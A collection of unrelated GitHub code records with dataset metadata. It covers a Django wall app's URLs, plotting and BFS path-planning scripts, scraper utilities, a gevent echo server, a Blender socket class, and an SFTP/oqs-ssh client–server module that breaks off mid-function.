{"seq_id": "30092381000", "text": "from django.urls import path\nfrom . import views\nurlpatterns = [\n    path('', views.index),\n    path('login', views.login),\n    path('signup',views.signup),\n    path('logout',views.logout),\n    path('wall',views.wall),\n    path('comment/<msgid>',views.comment),\n    path('delete/<msgid>',views.delete),\n    path('deletecom/<comid>',views.deletecom),\n    path('editmsg/<msgid>',views.editmsg)\n]\n", "repo_name": "RodElgueta/the_wall", "sub_path": "wall/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 394, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 4, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "38447233174", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ndata = np.loadtxt(\"input3.txt\")\nx = range(0, 99)\n\np0 = plt.plot(x, data[:, 0], 'h-', linewidth=3.5, markersize=8, label='fem')\n\np1 = plt.plot(x, data[:, 1], '>-m', linewidth=3.5, markersize=8, label='mfree')\n\np2 = plt.plot(x, data[:, 2], 'd-', linewidth=3.5,  markersize=8, label='math')\n\np4 = plt.plot(x, data[:, 3], 's-r', linewidth=3.5,  markersize=8, label='reference')\n\nplt.title('Conforming Mesh Cantilever Bending')\nplt.xlabel('load steps')\nplt.ylabel('movement of cantilever tip')\nplt.legend(loc='best')\n\nplt.show()\n\n\n", "repo_name": "ljshou/workspace", "sub_path": "python/matplotlib/cantilever.py", "file_name": "cantilever.py", "file_ext": "py", "file_size_in_byte": 578, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.loadtxt", "line_number": 4, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}]}
{"seq_id": "38354371684", "text": "# Here is project 2\n\nimport numpy as np\nimport cv2\nimport queue as q\nimport os\n\nobstacle = np.uint8(255)\n\nx = 400\ny = 300\n# generating and diplaying the trial map\n# def get_trial():\n#     trial_map = np.zeros([y,x],np.uint8)\n#     trial_map[y-1-60:y-40-1,90:110] = 255\n#     # print(trial_map)\n#     cv2.circle(trial_map,(160-1,y-50-1),15,255,-1)\n#     # print(trial_map[50][160])\n#     # cv2.imshow('map', trial_map)\n#     # cv2.waitKey(0)\n#     return trial_map\n\n# Function to generate the the final map for testing\n# Creates the obstacles and stores the map in a matrix represented as either 255(white) or 0(black)\ndef get_trial():\n    trial_map = np.zeros([y,x],np.uint8)\n    # trial_map[y-1-60:y-40-1,90:110] = 255\n    # print(trial_map)\n    c_pts = np.array([[[200,230], [200,280], [230,280], [230,270], [210,270], [210, 240], [230, 240], [230,230]]], dtype=np.int32)\n    rect_pts = np.array([[[48,108],[37,124],[159,210],[171,194]]], dtype =np.int32 )\n    weird_pts = np.array([[[328,63],[289,106],[328,146],[354,138],[384,172],[384,117]]], dtype =np.int32 )\n    cv2.fillPoly(trial_map,c_pts,255)\n    cv2.fillPoly(trial_map,rect_pts,255)\n    cv2.fillPoly(trial_map,weird_pts,255)\n    cv2.circle(trial_map,(90,70),35,255,-1)\n    cv2.ellipse(trial_map,(246,145), (60,30), 0, 0, 360, 255, -1)\n    # cv2.rectangle(trial_map,(50,0),(100,299),255,-1)\n    trial_map = trial_map[:][::-1]\n    # print(trial_map[50][160])\n    # cv2.imshow('map', trial_map)\n    # cv2.waitKey(0)\n    return trial_map\n\ntrial_map = get_trial()\n# print(trial_map)\n\n# Function to ask the user where they would like to start and end on the map \ndef get_pos():\n    start_col = int(input(\"Starting y: \"))\n    start_row = int(input(\"Starting x: \"))\n    starting_position = [start_col,start_row]\n    \n    goal_col = int(input(\"Goal y: \"))\n    goal_row = int(input(\"Goal x: \"))\n    goal_position = [goal_col,goal_row]\n\n    # print(f'start: {starting_position}')\n    # print(f'goal: {goal_position}')\n    return starting_position, goal_position\n\npos = get_pos()\nstart = pos[0]\ngoal = pos[1]\nprint(f'start: {start}')\nprint(f'goal: {goal}')\n\n# Initializing the queue, visited, and parent queue/visited used for bfs\nparent_visited = [0]\nvisited = [start]\nparent_q = q.Queue()\nparent_q.put_nowait(start)\n\n# Function to move to the next position if its within the map, not an obstacle, and hasn't been visited\ndef Action_Move(start_col, start_row, parent_pos, direction):\n\n    next_pos = (start_col + direction[0], start_row + direction[1])\n\n    \n\n    if next_pos[1] < x and next_pos[1] >= 0 and next_pos[0] < y and next_pos[0] >= 0 and trial_map[next_pos[0], next_pos[1]] != obstacle and next_pos not in visited:\n\n        trial_map[next_pos[0], next_pos[1]] = 150\n        \n        # Adds to the visited, and the parent queue once its been to the new position\n        visited.append(next_pos)\n        parent_visited.append(parent_pos)\n        parent_q.put_nowait(next_pos)\n\n        # If we're at the goal then say we made it\n        if next_pos[0] == goal[0] and next_pos[1] == goal[1]:\n            print(\"Goal has been reached\")\n            print(f'End is: {next_pos}')\n            return True\n    return False\n\n\nmy_list = []\nfourcc = cv2.VideoWriter_fourcc(*'DIVX')\nout = cv2.VideoWriter('bfs.avi',fourcc, 20.0, (x,y))  \n\n# loop the bfs search until the goal has been reached or you cannot find a goal\ntry:\n        goal_reached = False\n        i = 0\n        \n        \n        while not goal_reached:\n\n            # print(f'I is:{i}')\n            # print(list(parent_q.queue))\n            parent_pos = parent_q.get_nowait()\n            my_list.append(parent_pos)\n\n            goal_reached = Action_Move(parent_pos[0],parent_pos[1], parent_pos, (0,-1))\n           \n            goal_reached = Action_Move(parent_pos[0],parent_pos[1], parent_pos, (0,1)) or goal_reached\n            \n            goal_reached = Action_Move(parent_pos[0],parent_pos[1], parent_pos, (-1,0)) or goal_reached\n            \n            goal_reached = Action_Move(parent_pos[0],parent_pos[1], parent_pos, (1,0)) or goal_reached\n\n            goal_reached = Action_Move(parent_pos[0],parent_pos[1], parent_pos, (-1,-1)) or goal_reached\n\n            goal_reached = Action_Move(parent_pos[0],parent_pos[1], parent_pos, (1,-1)) or goal_reached\n\n            goal_reached = Action_Move(parent_pos[0],parent_pos[1], parent_pos, (-1,1)) or goal_reached\n\n            goal_reached = Action_Move(parent_pos[0],parent_pos[1], parent_pos, (1,1)) or goal_reached\n\n            # When theres no more parent nodes to go to then the solution doesn't exist\n            if parent_q.empty():\n                print(\"No Solution\")\n                exit()\n\n                break\n            i += 1\n\n            # Show the map as it goes through the bfs search. The gray is what's searching\n            # Also save the video of the bfs search\n            if i % 50 == 0:\n                map = cv2.cvtColor(trial_map, cv2.COLOR_GRAY2BGR)\n                out.write(map)\n                cv2.imshow('bfs map', trial_map)\n                cv2.waitKey(1)\n            \n            if quit == ord('q'):  # You can quit when you pre the q key\n                break \n\nexcept KeyboardInterrupt:\n    exit()\n\n\n# Get the optimized path after going through the entire bfs based on the parent visited\noptimized = []\nj = 0\ncurrent_pos = tuple(goal)\n# print(f'Visited is: {visited}')\n# print(f'parent visited: {parent_visited}')\nwhile current_pos != 0:\n    # print(f'J is {j}')\n    winning_index = visited.index(current_pos)\n    # print(f'win:{winning_index}')\n    # print(parent_visited[winning_index])\n    optimized.append(current_pos)\n    current_pos = parent_visited[winning_index]\n\n    j += 1\n\noptimized.reverse()\nprint(f'optimized: {optimized}')\n\n# write the optimized path in black to the video\nfor coords in optimized:\n    trial_map[coords[0],coords[1]] = 0\n    map2 = cv2.cvtColor(trial_map, cv2.COLOR_GRAY2BGR)\n    out.write(map2)\n\nout.release()\n", "repo_name": "Dvjack/proj2_derrick_jackson", "sub_path": "proj2.py", "file_name": "proj2.py", "file_ext": "py", "file_size_in_byte": 5946, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.uint8", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cv2.fillPoly", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.ellipse", "line_number": 36, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 141, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2BGR", "line_number": 141, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 143, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 144, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 175, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2BGR", "line_number": 175, "usage_type": "attribute"}]}
{"seq_id": "11558958948", "text": "from urllib.request import Request, urlopen\nimport datetime\nimport traceback\nfrom xmlrpc.client import boolean\nfrom SQLData import SQLData\nimport os\n\ndef error_log_file():\n    '''Create a log file with timestamp in the name.'''\n    x = str(datetime.datetime.now())\n    x = x.replace(\".\", \"_\")\n    x = x.replace(\":\", \"_\")\n    x = x.replace(\" \", \"_\")\n    x = os.getcwd() + \"/log/imobLog\" + \"_\" + x + \".txt\"\n    return open(x, \"a\")\n\ndef open_file(filename):\n    '''Open a file for reading.'''\n    return open(os.getcwd() +'/data/'+ filename, 'r')\n    \ndef open_page(url, error_log_file):\n    '''Open the main url to extract the links for each item.'''\n\n    req = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n\n    flag = False\n    while not flag:\n        try:\n            html = urlopen(req).read()\n            flag = True\n        except:\n            e = traceback.format_exc()\n            # print(\">------------------------- open_page(url) --------------------------------------\")\n            # print(str(datetime.datetime.now()))\n            # print(\"url:\", url)\n            # print(\"Error trace: \", e)\n            # print(\"-------------------------- open_page(url) -------------------------------------<\")\n            error_log_file.write(\">------------------------- open_page(url) --------------------------------------\" + \"\\n\")\n            error_log_file.write(str(datetime.datetime.now()))\n            error_log_file.write(\"url: \" + url + \"\\n\")\n            error_log_file.write(\"Error trace: \" + e + \"\\n\")\n            error_log_file.write(\"-------------------------- open_page(url) -------------------------------------<\" + \"\\n\")\n            flag = False\n              \n    return html\n\n\n# def id_carregamento(site: str)->int:\n#     sql = SQLData()\n#     conn = sql.connect()\n#     cursor = conn.cursor()\n    \n#     sql_Query = \"select max(num_carregamento) valor from imoveis where site=:site\"\n    \n#     input = {'site':site}  \n#     cursor.execute(sql_Query, input)\n#     record = cursor.fetchone()\n#     if record[0] is None:\n#         val = 0\n#     else:\n#         val = record[0]\n#     print('id_carregamento: ', val + 1)\n    \n#     cursor.close()\n#     conn.close()\n#     return val + 1\n\n\ndef start_carregamento(siteimob: str, \n                       usos: list,\n                       tipo_imoveis: list, \n                       regions: list)->int:\n    \n    sql = SQLData()\n    conn = sql.connect()\n    cursor = conn.cursor()\n    \n    sql_Query = \"select max(num_carregamento) valor from loadcontrol\"\n    cursor.execute(sql_Query)\n    record = cursor.fetchone()\n    if record[0] is None:\n        val = 0\n    else:\n        val = record[0]\n    \n    cursor.close()\n    \n    num_carregamento = int(val) + 1\n    print('num_carregamento: ', num_carregamento)\n    \n    \n    datetime_start = datetime.datetime.now()\n    datetime_start = datetime_start.strftime(\"%Y-%m-%d, %H:%M:%S\")\n    datetime_stop = None\n    details = '[' + ' '.join(usos) + '] ' + \\\n              '[' + ' '.join(tipo_imoveis)  + '] ' + \\\n              '[' + ' '.join(regions) + ']'\n    \n    sql_Insert = \"insert into loadcontrol(num_carregamento, \\\n                datetime_start, datetime_stop, siteimob,\\\n                details) values \\\n                (:num_carregamento, :datetime_start, :datetime_stop, \\\n                :siteimob, :details)\"\n    \n    input = {'num_carregamento':num_carregamento,\n             'datetime_start':datetime_start,\n             'datetime_stop':datetime_stop,\n             'siteimob':siteimob, \n             'details':details}\n                 \n    cursor = conn.cursor()\n    cursor.execute(sql_Insert, input)\n    conn.commit()\n    cursor.close()\n    \n    conn.close()\n    \n    return num_carregamento\n   \n    \ndef stop_carregamento(num_carregamento: int):\n    \n    sql = SQLData()\n    conn = sql.connect()\n    cursor = conn.cursor()\n    \n    datetime_stop = datetime.datetime.now()\n    datetime_stop = datetime_stop.strftime(\"%Y-%m-%d, %H:%M:%S\")\n    \n    sql_Update = \"update loadcontrol set datetime_stop=:datetime_stop \\\n                  where num_carregamento=:num_carregamento\"\n    \n    cursor = conn.cursor()\n    input = {'datetime_stop':datetime_stop, 'num_carregamento':num_carregamento}\n    cursor.execute(sql_Update, input)\n    conn.commit()\n    cursor.close()\n    \n    conn.close()   \n    \n    \ndef write2log_file(error_log_file, e, href, pag, url_next):\n        error_log_file.write(\">--------------------------------------------------------------------------------------------\" + \"\\n\")\n        error_log_file.write(str(datetime.datetime.now())+ \"\\n\")\n        error_log_file.write(\"href: \" + href + \"\\n\")\n        if pag!=0: error_log_file.write(\"pag: \" + str(pag) + \"\\n\")\n        if pag!='': error_log_file.write(\"url_next: \" + url_next + \"\\n\")\n        error_log_file.write(\"ERROR TRACE: \" + e + \"\\n\")\n        error_log_file.write(\"\\n\")\n        \ndef numeric_value(var: str):\n    try:\n        val = float(var)\n    except:\n        val = 0\n    return val", "repo_name": "Nuno-hub/Imob", "sub_path": "imob_utils.py", "file_name": "imob_utils.py", "file_ext": "py", "file_size_in_byte": 4981, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.now", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 14, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 24, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 29, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "attribute"}, {"api_name": "SQLData.SQLData", "line_number": 74, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 92, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 92, "usage_type": "attribute"}, {"api_name": "SQLData.SQLData", "line_number": 123, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 127, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 127, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 144, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 144, "usage_type": "attribute"}]}
{"seq_id": "10837269672", "text": "import gevent\nfrom gevent import monkey;monkey.patch_socket()\n# import gevent.socket\nimport socket\n\n\ndef read(conn):\n    print('建立连接：',conn)\n    while True:\n        data = conn.recv(1024)\n        if not data:\n            conn.close()\n            break\n        print('client_message:',data)\n        gevent.sleep(2)\n        conn.send(data)\n\ndef main():\n    s = socket.socket()\n    s.bind(('127.0.0.1',8888))\n    s.listen(5)\n    print('监听')\n    while True:\n        print('accept 阻塞')\n        conn,addr = s.accept()\n        gevent.spawn(read,conn)\n\nif __name__ == '__main__':\n    main()", "repo_name": "zx490336534/python_Concurrent", "sub_path": "10-gevent/正式课/01-gevent_server.py", "file_name": "01-gevent_server.py", "file_ext": "py", "file_size_in_byte": 600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "gevent.monkey.patch_socket", "line_number": 2, "usage_type": "call"}, {"api_name": "gevent.monkey", "line_number": 2, "usage_type": "name"}, {"api_name": "gevent.sleep", "line_number": 15, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 19, "usage_type": "call"}, {"api_name": "gevent.spawn", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "35509005421", "text": "import bpy\nfrom .. base_types.socket import AnimationNodeSocket\n\nclass ParticleSocket(bpy.types.NodeSocket, AnimationNodeSocket):\n    bl_idname = \"an_ParticleSocket\"\n    bl_label = \"Particle Socket\"\n    dataType = \"Particle\"\n    allowedInputTypes = [\"Particle\"]\n    drawColor = (0.5, 0.3, 0.1, 1)\n    storable = False\n    comparable = True\n\n    def getValueCode(self):\n        return \"None\"\n", "repo_name": "chrisatbest/animation_nodes", "sub_path": "sockets/particle.py", "file_name": "particle.py", "file_ext": "py", "file_size_in_byte": 391, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "bpy.types", "line_number": 4, "usage_type": "attribute"}, {"api_name": "base_types.socket.AnimationNodeSocket", "line_number": 4, "usage_type": "name"}]}
{"seq_id": "16441419281", "text": "#!/usr/bin/env python\n\nimport json\nimport argparse\n\nfrom methods_flex import search\n\n\ndef parseArguments():\n    # Create argument parser\n    parser = argparse.ArgumentParser()\n\n    # Positional mandatory arguments\n    parser.add_argument(\"lemma\", help=\"Base form\", type=str)\n    parser.add_argument(\"lang\", help=\"Language: pt: Portuguese, gl: Galician, de: German, fr: French\", type=str)\n\n    # Optional arguments\n    parser.add_argument(\"-n\", \"--num\", help=\"Number: S:singular; P:plural; N:invariable\", type=str, default=\"\")\n    parser.add_argument(\"-p\", \"--pos\", help=\"POS: NC: Noun Common; NP: Noun Proper\", type=str, default=\"\")\n    parser.add_argument(\"-g\", \"--gen\", help=\"Genre: F:feminine; M:masculine; C:common; N:neuter\", type=str, default=\"\")\n\n    # Parse arguments\n    args = parser.parse_args()\n\n    return args\n\nargs = parseArguments()\n\nresults = search( args.lemma, args.lang, pos=args.pos, gen=args.gen, num=args.num )\njson_results = json.dumps(results, sort_keys=False, ensure_ascii=False)\nprint(json_results)", "repo_name": "joseallones/Flex", "sub_path": "flex.py", "file_name": "flex.py", "file_ext": "py", "file_size_in_byte": 1025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 11, "usage_type": "call"}, {"api_name": "methods_flex.search", "line_number": 29, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "27633059324", "text": "#! /usr/bin/python3\n\n\"\"\"\nThis file gonna define the class \"CommunicationModule\" and 2\nsubClass (server, client) that gonna be use for alice en bob \ncommunication.\nAlice will be rpz by an instance of \"CommunicationModuleClient\"\nand Bob by an instance of \"CommunicationModuleServer\"\n\"\"\"\n\n\nimport pexpect  # To lanch a process and deal with it (better than \"subprocess\" for SFTP comand line interaction)\nimport yaml  # To importe and deal with the .yaml that we will use as config file\nfrom abc import ABC  # Allow us to create an abstract class (C.F CommunicationModule)\nimport subprocess\nimport glob  # For searching if a file exit using regexp\nimport threading  # For multithreading and deamons\nimport time  # For make the deamons sleep\nimport sys\n\n# Import 'watchdog'. For the server monitoring\n# of the files uploading by the client\nfrom watchdog.observers import Observer\nfrom watchdog.events import FileSystemEventHandler\n\n\nclass CommunicationModule(ABC):\n    def __init__(\n        self,\n        server_ip,\n        ssh_exec,\n        config_file,\n        client_upload_dir,\n        srv_upload_dir,\n        local_data_dir,\n    ):\n        self.ssh_exec = ssh_exec  # path to the ssh client or server\n        self.server_ip = server_ip\n        self.client_upload_dir = client_upload_dir\n        self.srv_upload_dir = srv_upload_dir\n        self.config_file = config_file\n        self.local_data_dir = local_data_dir\n\n    def __str__(self):\n        \"\"\"\n        We defined the __str__ methods because we gonna\n        use it for debugging.\n        \"\"\"\n        string_to_return = (\n            f\"ssh_exec : {self.ssh_exec}\\n\"\n            f\"server_ip : {self.server_ip}\\n\"\n            f\"client_upload_dir : {self.client_upload_dir}\\n\"\n            f\"srv_upload_dir : {self.srv_upload_dir}\\n\"\n            f\"config_file : {self.config_file}\\n\"\n            f\"local_data_dir : {self.local_data_dir}\"\n        )\n        return string_to_return\n\n    def send_file(self, file_name):\n        pass\n\n    def read_file(self, file_name):\n        pass\n\n    def send_mult_files(self, list_of_files):\n        \"\"\"\n        TODO : change all the names according to this one\n        \"\"\"\n        pass\n\n    def read_files(self, list_of_files):\n        pass\n\n\n#################################SERVER#################################\n\n\nclass CommunicationModuleServer(CommunicationModule):\n    def __init__(self, config_file=\"./config_server.yaml\"):\n        with open(config_file, \"r\") as f:\n            config = yaml.safe_load(f)\n        super().__init__(\n            config[\"server_ip\"],\n            config[\"ssh_exec\"],\n            config[\"config_file\"],\n            config[\"client_upload_dir\"],\n            config[\"srv_upload_dir\"],\n            config[\"local_data_dir\"],\n        )\n        self.time_to_live = config[\"time_to_live\"]\n        self.server_on = False\n        self.dirs_from_client = set()\n        self.files_from_client = set()\n\n    def __str__(self):\n        return (\n            super().__str__()\n            + f\"\\ntime_to_live : {self.time_to_live}\"\n            + f\"\\nserver_on : {self.server_on}\"\n            + f\"\\ndirs_from_client : {self.dirs_from_client}\"\n            + f\"\\nfiles_from_client : {self.files_from_client}\"\n        )\n\n    def client_upload_monitoring_deamon(self):\n        \"\"\"\n        TODO : finish to right properly this part and add it to the methodes\n        start_server\n        \"\"\"\n        my_event_handler = MyEventHandler(self)\n        my_observer = Observer()\n        my_observer.schedule(\n            event_handler=my_event_handler, path=self.client_upload_dir, recursive=True\n        )\n        my_observer.start()\n        living_time = 0\n        while living_time < self.time_to_live:\n            time.sleep(1)\n            living_time += 1\n        my_observer.join()\n\n    def stop_server(self):\n        print(\"We stoped the oqs-ssh server\")\n        ssh_pid = (\n            (\n                subprocess.run(\n                    [\"cat\", \"/var/run/sshd.pid\"],\n                    capture_output=True,\n                    check=True,\n                )\n            )\n            .stdout[0:-1]\n            .decode()\n        )\n        if self.server_on:\n            subprocess.run([\"kill\", f\"{ssh_pid}\"], check=True)\n            self.server_on = False\n\n    def start_server(self, option=\"\"):\n        \"\"\"\n        TODO : include client_upload_monitoring_deamon in it and also\n        add a TTL and call the function stop_server once the TTL is reach\n\n        Start the server daemon using sshd and the different\n        options pass as argument.\n        \"\"\"\n        print(\"We starte the oqs-ssh server\")\n        print(f\"IP : {get_IP()}\")\n\n        # Execute the sshd deamon as superuser\n        process = subprocess.Popen(\n            [\n                \"sudo\",\n                \"bash\",\n                \"-c\",\n                f\"{self.ssh_exec}\",\n                \"-f\",\n                f\"{self.config_file}\",\n                option,\n            ],\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n        )\n\n        # wait for the command to end (if the command is not finish in 10 sec an Error is raised)\n        stdout, stderr = process.communicate(timeout=10)\n\n        if process.returncode == 0:\n            print(stdout.decode())\n            self.server_on = True\n\n        else:\n            # print the standart and error output\n            print(\n                \"Error while launching the server deamon : \",\n                stderr.decode(),\n                file=sys.stderr,\n            )\n            exit()\n\n        # start the watchdog on the directory of upload of the client\n        self.client_upload_monitoring_deamon()\n        # stop the server once the ttl is reach.\n        self.stop_server()\n\n    def send_file(self, file_name):\n        if not glob.glob(f\"{self.local_data_dir}{file_name}\"):\n            print(\n                f\"The local file '{self.local_data_dir}{file_name}' do not exist.\",\n                file=sys.stderr,\n            )\n            exit(1)\n        process = subprocess.run(\n            f\"mv --verbose -i {file_name} {self.srv_upload_dir}\",\n            shell=True,\n            text=True,\n            check=True,\n            timeout=10,\n        )\n\n    def read_file(self, file_name):\n        \"\"\"\n        TODO : decide what we should do once the file is found or once the time_to_wait is reach\n        \"\"\"\n\n##################################CLIENT#################################\n\n\nclass CommunicationModuleClient(CommunicationModule):\n    def __init__(self, config_file=\"config_client.yaml\"):\n        with open(config_file, \"r\") as f:\n            config = yaml.safe_load(f)\n        super().__init__(\n            config[\"server_ip\"],\n            config[\"ssh_exec\"],\n            config[\"config_file\"],\n            config[\"client_upload_dir\"],\n            config[\"srv_upload_dir\"],\n            config[\"local_data_dir\"],\n        )\n        self.username = config[\"username\"]\n\n    def __str__(self):\n        return super().__str__() + f\"\\nusername : {self.username}\"\n\n    def send_file(self, name_file):\n        \"\"\"We verify that's the file we want to send and 'local_data_dir' do exists\"\"\"\n        if not glob.glob(f\"{self.local_data_dir}{name_file}\"):\n            print(\n                f\"The local file '{self.local_data_dir}{name_file}' do not exist.\",\n                file=sys.stderr,\n            )\n            exit(1)\n\n        try:\n            \"\"\"Connection with sftp server\"\"\"\n            sftpProcess = pexpect.spawn(\n                f\"{self.ssh_exec} -F {self.config_file}  {self.username}@{self.server_ip}\"\n            )\n\n            \"\"\"wait for the connexion to be down, and for the SFTP interface to be launch\"\"\"\n            sftpProcess.expect(\"sftp>\", timeout=10)\n            print(\"Connexion started\")\n\n            \"\"\"Check existance and moove to the directory where we want to send the file\"\"\"\n            sftpProcess.sendline(f\"cd {self.client_upload_dir}\")\n            index = sftpProcess.expect(\n                [\n                    f\"realpath {self.client_upload_dir}: No such file\",\n                    \"stat remote: No such file or directory\",\n                    \"Permission denied\",\n                    \"sftp>\",\n                ],\n                timeout=10,\n            )\n            if index == 0 or index == 1:\n                print(\n                    f\"The directory {self.client_upload_dir} does not exist\",\n                    file=sys.stderr,\n                )\n                exit(1)\n            if index == 2:\n                print(\n                    f\"Permission denied : The directory {self.client_upload_dir} is not accessible.\",\n                    file=sys.stderr,\n                )\n                exit(1)\n\n            \"\"\"upload the file\"\"\"\n            sftpProcess.sendline(f\"lcd {self.local_data_dir}\")\n            sftpProcess.sendline(f\"ls {name_file}\")\n            index = sftpProcess.expect([f\"{name_file}\", \"not found\"], timeout=10)\n\n            if index == 0:\n                # if the file we want to send existe in the remote server, it means that we add to finish the download\n                print(f\"{name_file} already on the distant server : \")\n                sftpProcess.sendline(f\"reput {name_file}\")\n                print(f\"reput {name_file}\")\n            else:\n                # if the file we want to send do not existe in the remote server, we just add it.\n                sftpProcess.sendline(f\"put {name_file}\")\n                print(f\"put {name_file}\")\n\n            index = sftpProcess.expect(\n                [\n                    \"Permission denied\",\n                    \"100%\",\n                    \"destination file same size or larger\",\n                ],\n                timeout=10,\n            )\n            if index == 0:\n                print(\n                    \"Permission denied :\\n \"\n                    + sftpProcess.before.decode(\"utf-8\")\n                    + sftpProcess.after.decode(\"utf-8\"),\n                    file=sys.stderr,\n                )\n                exit(1)\n\n            if index == 2:\n                print(f\"The file {name_file} was already uploaded\")\n\n            \"\"\"Kill the connexion with the serveur\"\"\"\n            sftpProcess.sendline(\"quit\")\n            sftpProcess.expect(pexpect.EOF)\n            sftpProcess.kill(0)\n            print(sftpProcess.before.decode(\"utf-8\"))\n            print(\"File transfer : Success\")\n\n        except pexpect.EOF:\n            print(\n                \"SFTP connexion has been interrupted : \\n\"\n                + sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n        except pexpect.TIMEOUT:\n            print(\n                \"SFTP connexion has expired : \\n\" + sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n        except Exception as e:\n            print(\n                f\"An error occure during SFTP connexion :\\n {str(e)}\\n\", file=sys.stderr\n            )\n            print(\n                sftpProcess.before.decode(\"utf-8\"),\n                file=sys.stderr,\n            )\n            exit(1)\n\n    def read_file(self, name_file):\n        \"\"\"We verify that's 'local_data_dir' do exists\"\"\"\n        if not glob.glob(f\"{self.local_data_dir}\"):\n            print(\n                f\"The local directory '{self.local_data_dir}' do not exist.\",\n                file=sys.stderr,\n            )\n            exit(1)\n\n        try:\n            sftpProcess = pexpect.spawn(\n                f\"{self.ssh_exec} -F {self.config_file}  {self.username}@{self.server_ip}\"\n            )\n            